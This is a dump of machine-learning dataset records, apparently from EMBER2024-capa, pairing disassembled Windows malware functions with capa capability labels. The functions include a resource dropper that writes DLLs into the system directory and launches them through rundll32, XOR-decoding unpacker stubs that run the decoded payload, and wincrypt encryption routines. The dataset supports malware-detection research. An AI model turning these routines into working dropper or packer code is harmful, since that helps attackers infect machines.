joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Copy file
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x47c
push ebx
push esi
push edi
mov edi, 0x104
push edi
mov esi, 0x403080
push 0
push esi
call sub.MSVCRT.dll_memset
mov ebx, dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
add esp, 0xc
push edi
push esi
call ebx
push 0x403070
push esi
call sub.MSVCRT.dll_strcat
push str.dazz.dat
push esi
call sub.MSVCRT.dll_strcat
push 0
push 0x65
push esi
call fcn.004011fc
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0x28
push edi
push esi
call ebx
push 0x403070
push esi
call sub.MSVCRT.dll_strcat
push str.tqesda.dll
push esi
call sub.MSVCRT.dll_strcat
push 0
push 0x64
push esi
call fcn.004011fc
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0x28
push edi
push esi
call ebx
push 0x403070
push esi
call sub.MSVCRT.dll_strcat
push str.qrd.dll
push esi
call sub.MSVCRT.dll_strcat
push 0
push 0x6d
push esi
call fcn.004011fc
add esp, 0x1c
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push edi
push esi
call ebx
push 0x403070
push esi
call sub.MSVCRT.dll_strcat
movzx eax, word [ebp - 2]
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 4]
push eax
lea eax, [ebp - 0x70]
push str._d_d_d.ime
push eax
call sub.MSVCRT.dll_sprintf
lea eax, [ebp - 0x70]
push eax
push esi
call sub.MSVCRT.dll_strcat
push 0x20
lea eax, [ebp - 0x30]
push 0
push eax
call sub.MSVCRT.dll_memset
push 0
push esi
call sub.MSVCRT.dll__access
add esp, 0x38
test eax, eax
jne 0x401127
lea eax, [ebp - 0x30]
push str._del
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0
push 0x6e
push esi
call fcn.004011fc
add esp, 0xc
lea eax, [ebp - 0x174]
push edi
push eax
call ebx
lea eax, [ebp - 0x174]
push 0x403070
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x174]
push str.rundll32.exe
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x47c]
push 1
push eax
lea eax, [ebp - 0x174]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x378]
push edi
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x100
lea eax, [ebp - 0x274]
push esi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x378]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x274]
push str._s_myInitIme__s_s
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0x20
lea eax, [ebp - 0x274]
push 1
push 0x403184
push eax
lea eax, [ebp - 0x174]
push eax
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push str.qrd.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x4011fc
Capabilities:
Delete file
Extract resource via kernel32 functions
Get common file path
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x104]
push eax
push 0xff
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
movzx eax, word [ebp + 0xc]
push 0x403074
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push ebx
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
push esi
push 0x90
push 2
push esi
push 3
push 0xc0000000
push dword [ebp + 8]
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401287
xor eax, eax
jmp 0x4012a4
lea eax, [ebp - 4]
push esi
push eax
mov dword [ebp - 4], esi
push dword [ebp + 0xc]
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b197
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, ecx
test si, si
jne 0x1000b24c
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x1000b24c
mov edx, dword [esi + 0x3c]
test dl, 3
jne 0x1000b24c
cmp dword [edx + esi], 0x4550
jne 0x1000b24c
cmp dword [edx + esi + 0x74], 6
jb 0x1000b24c
push ebx
mov ebx, dword [edx + esi + 0x50]
push edi
mov edi, dword [edx + esi + 0xa8]
lea eax, [ebx - 1]
lea ecx, [edi - 1]
cmp ecx, eax
jae 0x1000b24a
mov eax, dword [edx + esi + 0xac]
mov ecx, ebx
sub ecx, edi
cmp eax, ecx
ja 0x1000b24a
xor edx, edx
add edi, esi
push 0x1c
pop ecx
div ecx
mov edx, eax
test edx, edx
je 0x1000b24a
imul ecx, edx, 0x1c
add ecx, 0x14
add ecx, edi
lea ecx, [ecx - 0x1c]
dec edx
cmp dword [ecx - 8], 2
lea edi, [ecx - 0x14]
jne 0x1000b228
cmp dword [ecx], ebx
jae 0x1000b228
mov eax, ebx
sub eax, dword [ecx]
cmp dword [ecx - 4], eax
jbe 0x1000b22e
test edx, edx
jne 0x1000b20e
jmp 0x1000b24a
push 0x1c
push edi
call dword [sym.imp.kernel32.dll_VirtualLock]
test eax, eax
je 0x1000b24a
mov eax, dword [edi + 0x14]
push dword [edi + 0x10]
add eax, esi
push eax
call dword [sym.imp.kernel32.dll_VirtualLock]
pop edi
pop ebx
pop esi
ret

Function at 0x1000c446
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1000c455
pop dword [ebp - 0xc]
mov eax, 0x1000c455
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x371b9
push 0
mov eax, 0xe7ece2c1
add eax, 0x28145da3
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x31071446
sub ecx, 0x3106d3bf
mov edi, eax
mov edx, 0x10018600
add edx, dword [ebp - 0xc]
mov esi, 0xefc2c178
sub dword [ebp - 4], ecx
mov ebx, dword [edx]
sub dword [ebp - 8], 0x3ae415db
sub ebx, esi
add dword [ebp - 8], edx
mov dword [edi], ebx
xor dword [ebp - 8], 0x404b2a38
add edi, 4
add edx, 4
loop 0x1000c4a3
add eax, 0xf4ef
xor ebx, ebx
add ebx, eax
add eax, 0x6329e8dd
add eax, 0x9cd61728
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x40610d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40611c
pop dword [ebp - 0x4c]
mov eax, 0x40611c
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xccfe5892
add dword [ebp - 0x5c], 0x8153ecb9
mov dword [ebp - 0x58], 0x732d434c
add dword [ebp - 0x58], 0xbf0608f9
mov dword [ebp - 0x54], 0xae605e55
sub dword [ebp - 0x54], 0x62141a27
mov dword [ebp - 0x50], 0x5adc3d31
add dword [ebp - 0x50], 0xa523c2cf
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x67afa77f
add dword [ebp - 0x5c], 0xcc2c1d7
mov dword [ebp - 0x58], 0xc14ea57b
sub dword [ebp - 0x58], 0x7fe24406
mov dword [ebp - 0x54], 0xb7207cbc
add dword [ebp - 0x54], 0xac4eefb0
mov dword [ebp - 0x50], 0x24ff7461
add dword [ebp - 0x50], 0xdb008b9f
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x78e3648d
sub eax, 0x78a2f38d
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3668f
push 0
call eax
mov ecx, 0xdb7ce926
add ecx, 0x24835e0f
mov edi, eax
mov edx, 0x6ee6a385
add edx, 0x915a5c7b
add edx, dword [ebp - 0x4c]
mov esi, 0x4ff0ee23
sub esi, 0xc46c1980
mov dword [ebp - 0x24], 0xc67cdd28
mov ebx, dword [edx]
add dword [ebp - 0x20], 0xc633b586
xor ebx, esi
sub dword [ebp - 0x48], edi
mov dword [edi], ebx
xor dword [ebp - 0x48], edx
add edi, 0x58fdc32a
add edi, 0xa7023cda
add edx, 0xed4d43bd
add edx, 0x12b2bc47
loop 0x406234
add eax, 0x845ad6c9
sub eax, 0x8459c722
xor ebx, ebx
add ebx, eax
add eax, 0x1cde142e
add eax, 0xe321ebd7
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x1000fb87
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10035ccc]
jne 0x1000fb91
repz ret
jmp fcn.100144fb

Function at 0x10016679
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x1001666d
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x1001668b
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
add byte [ebx + 0x108c794], cl
add byte [eax], al
add byte [ebx + 0x108c794], cl
add byte [eax], al
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x100166e9
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x100166d0
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x100166d9
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x100166e3
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x100166c5
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x1001664f
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x10016736
dec eax
je 0x1001672d
sub eax, 3
je 0x10016724
mov dword [ebp - 4], 0x40
jmp 0x10016753
mov dword [ebp - 4], 4
jmp 0x10016739
mov dword [ebp - 4], 0x20
jmp 0x10016739
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x10016785
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x10016705
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.10015f96
ficom word [esi - 0x5f]
mov bl, 0xff
jne 0x10016790
push 1
push esi
call edi
mov eax, esi
jmp 0x10016791
rcr byte [edi + 0x5e], 0x5b

Function at 0x10017fd8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call dword [ebp - 0x680]
jmp 0x10017fe5
and dword [ebp - 0x37c], 0
push dword [ebp - 0x3a0]
call dword [ebp - 0x704]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
je 0x1001802c
lea eax, [ebp - 0x714]
push eax
call fcn.10015fa6
pop ecx
push eax
push dword [ebp - 0x3a4]
invalid
invalid
Function at 0x1001c878
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10015702
and dword [ebp - 4], 0
cmp dword [0x100399d0], 0
mov ebx, eax
jne 0x1001c929
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1001c9da
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1001c9da
push eax
call fcn.10015690
mov dword [esp], 0x1002dc64
push edi
mov dword [0x100399d0], eax
call esi
push eax
call fcn.10015690
mov dword [esp], 0x1002dc50
push edi
mov dword [0x100399d4], eax
call esi
push eax
call fcn.10015690
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x100399d8], eax
call esi
push eax
call fcn.10015690
pop ecx
mov dword [0x100399e0], eax
test eax, eax
je 0x1001c929
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10015690
pop ecx
mov dword [0x100399dc], eax
mov eax, dword [0x100399dc]
cmp eax, ebx
je 0x1001c981
cmp dword [0x100399e0], ebx
je 0x1001c981
push eax
call fcn.1001570b
push dword [0x100399e0]
mov esi, eax
call fcn.1001570b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1001c981
test edi, edi
je 0x1001c981
call esi
test eax, eax
je 0x1001c978
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1001c978
test byte [ebp - 0xc], 1
jne 0x1001c981
or dword [ebp + 0x10], 0x200000
jmp 0x1001c9ba
mov eax, dword [0x100399d4]
cmp eax, ebx
je 0x1001c9ba
push eax
call fcn.1001570b
pop ecx
test eax, eax
je 0x1001c9ba
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1001c9ba
mov eax, dword [0x100399d8]
cmp eax, ebx
je 0x1001c9ba
push eax
call fcn.1001570b
pop ecx
test eax, eax
je 0x1001c9ba
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x100399d0]
call fcn.1001570b
pop ecx
test eax, eax
je 0x1001c9da
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1001c9dc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10024820
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 8], 0
je 0x1002484b
push 0x10
push 0xc
push 0x1002f018
push 0x1002f074
mov ecx, dword [ebp - 4]
add ecx, 8
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov esp, ebp
pop ebp
ret
Function at 0x10024850
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20018
call fcn.10014490
mov eax, dword [0x10035ccc]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x20018], ecx
mov eax, dword [ebp - 0x20018]
add eax, 0xc
push eax
push 0
push 0
mov ecx, dword [ebp - 0x20018]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x20018]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x10024974
push 0x1002f010
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x2000c]
push eax
call fcn.10010da6
add esp, 0xc
cmp dword [ebp - 0x2000c], 0
je 0x10024918
mov ecx, dword [ebp - 0x2000c]
push ecx
push 0x20000
push 1
lea edx, [ebp - 0x20008]
push edx
call fcn.10011099
add esp, 0x10
mov dword [ebp - 0x20010], eax
cmp dword [ebp - 0x20010], 0
je 0x10024916
push 0
mov eax, dword [ebp - 0x20010]
push eax
lea ecx, [ebp - 0x20008]
push ecx
mov edx, dword [ebp - 0x20018]
mov eax, dword [edx + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10024914
jmp 0x10024916
jmp 0x100248bd
jmp 0x1002491c
xor eax, eax
jmp 0x10024979
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x20014], eax
cmp dword [ebp - 4], 0
je 0x10024950
push 0
mov ecx, dword [ebp - 0x20018]
add ecx, 4
push ecx
mov edx, dword [ebp + 8]
push edx
push 2
mov eax, dword [ebp - 0x20018]
mov ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x20014], eax
cmp dword [ebp - 0x2000c], 0
je 0x10024974
mov edx, dword [ebp - 0x2000c]
push edx
call fcn.1001112d
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000fb87
mov esp, ebp
pop ebp
ret 8

Function at 0x10024990
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
push 0
push 0xc
push 0x1002ef30
push 0x1002ef8c
mov eax, dword [ebp - 8]
add eax, 8
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100249e0
push 8
push 0xc
push 0x1002efa0
push 0x1002effc
mov ecx, dword [ebp - 8]
add ecx, 8
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x100249e0
xor eax, eax
jmp 0x100249e5
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x10028a20
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
push ecx
call fcn.1000fc54
add esp, 4
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
push 0
mov ecx, dword [ebp - 4]
push ecx
call fcn.1000fdb0
add esp, 0xc
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.1000fe30
add esp, 0xc
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 0
push 1
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x10028a9f
mov eax, dword [ebp - 4]
push eax
call fcn.10010195
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x55c], eax
xor eax, eax
jmp 0x10028ad6
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
sub eax, 1
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 4]
add ecx, 1
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.1000fe30
add esp, 0xc
mov eax, dword [ebp - 4]
push eax
call fcn.10010195
add esp, 4
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10028ae0
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 0x14]
push eax
call fcn.1000fc54
add esp, 4
mov dword [ebp - 4], eax
push 0
call fcn.100286f0
add esp, 4
push eax
call fcn.1000fd1e
add esp, 4
call fcn.1000fd30
and eax, 0x800000ff
jns 0x10028b1e
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [ebp - 4]
mov byte [ecx], al
mov edx, dword [ebp + 0x14]
sub edx, 1
push edx
push 0
mov eax, dword [ebp - 4]
add eax, 1
push eax
call fcn.1000fdb0
add esp, 0xc
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
add ecx, 1
push ecx
call fcn.1000fe30
add esp, 0xc
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
add eax, 1
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 0
push 1
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x10028ba0
mov eax, dword [ebp - 4]
push eax
call fcn.10010195
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x55c], eax
xor eax, eax
jmp 0x10028bc7
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.1000fe30
add esp, 0xc
mov eax, dword [ebp - 4]
push eax
call fcn.10010195
add esp, 4
mov eax, 1
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10028ca0
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
lea eax, [ebp - 4]
push eax
push 0
push 0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x348]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10028ce3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x55c], eax
xor eax, eax
jmp 0x10028d0f
push 0
push 5
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x10028d0c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x55c], eax
xor eax, eax
jmp 0x10028d0f
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4

Function at 0x10028e40
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
push 0
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x34c]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x344]
push eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x354
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10028ec6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
push 8
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x34c]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x344]
push eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x354
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x10028ec6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x55c], eax
xor eax, eax
jmp 0x10028ecb
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40bc43
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40bc52
pop dword [ebp - 0x50]
mov eax, 0x40bc52
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x37591
push 0
mov eax, 0x7d520ce2
sub eax, 0x7d112c0a
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x3f86
mov ebx, eax
mov edx, 0x934f4d4c
add edx, 0x6cf1ee78
add edx, dword [ebp - 0x50]
mov edi, 0x191e72fb
add edi, 0x9df71963
mov dword [ebp - 0x28], 0x64257104
mov esi, dword [edx]
add dword [ebp - 0x30], edi
add esi, edi
xor dword [ebp - 0x40], ebx
mov dword [ebx], esi
xor dword [ebp - 0x30], ebx
add ebx, 0x42ca751a
add ebx, 0xbd358aea
add edx, 4
loop 0x40bca6
add eax, 0xe41c801f
add eax, 0x1be470cc
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x1000cac3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword fs:[0x2c]
push ebx
push esi
mov esi, dword [0x100139e8]
mov ebx, ecx
push edi
mov edi, edx
mov dword [ebp - 8], edi
mov esi, dword [eax + esi*4]
mov eax, dword [0x10013e80]
cmp eax, dword [esi + 4]
jg 0x1000cb78
lea eax, [ebx + edi]
cmp eax, ebx
ja 0x1000cb01
mov eax, 0x10dd
jmp 0x1000cb71
mov eax, dword [0x10013e7c]
cmp edi, eax
jbe 0x1000cb0f
push 0x32
pop eax
jmp 0x1000cb71
mov edi, dword [ebp + 8]
lea ecx, [ebp - 4]
and dword [ebp - 4], 0
lea esi, [eax - 1]
push ecx
not esi
push dword [edi]
and esi, ebx
push eax
push esi
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
jne 0x1000cb37
call dword [sym.imp.kernel32.dll_GetLastError]
jmp 0x1000cb71
mov ecx, dword [0x10013e7c]
mov eax, dword [ebp - 8]
dec ecx
mov edx, dword [ebp - 4]
dec eax
add eax, ebx
mov dword [edi], edx
not ecx
and ecx, eax
cmp ecx, esi
je 0x1000cb6c
lea eax, [ebp - 4]
push eax
push dword [edi + 4]
push dword [0x10013e7c]
push ecx
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x1000cb2f
mov edx, dword [ebp - 4]
mov dword [edi + 4], edx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
mov esi, 0x10013e80
push esi
call fcn.1000cd54
cmp dword [0x10013e80], 0xffffffff
pop ecx
jne 0x1000caf3
push 9
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x28]
push esi
mov dword [0x10013e7c], eax
call fcn.1000cd54
mov edi, dword [ebp - 8]
pop ecx
jmp 0x1000caf3

Function at 0x1000cd54
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1000cd63
pop dword [ebp - 0x18]
mov eax, 0x1000cd63
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x36ed7
push 0
mov eax, 0xbcb743d9
sub eax, 0xacb60375
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x3fac
mov ebx, eax
mov edx, 0x10018600
add edx, dword [ebp - 0x18]
mov edi, 0x91867dd5
add edi, 0xe0ecb4e7
xor dword [ebp - 4], 0x660f73c8
mov esi, dword [edx]
sub dword [ebp - 8], edi
xor esi, edi
sub dword [ebp - 0x10], eax
mov dword [ebx], esi
add dword [ebp - 0x14], eax
add ebx, 4
add edx, 4
loop 0x1000cdb1
add eax, 0x71b60368
add eax, 0x8e4aee1b
mov ebx, eax
add eax, 0x5eb24e54
add eax, 0xa14db1b1
mov ecx, 0xc83a7cd0
sub ecx, 0xb83a7cd0
add ecx, dword [ebp - 0x18]
call ebx
leave
ret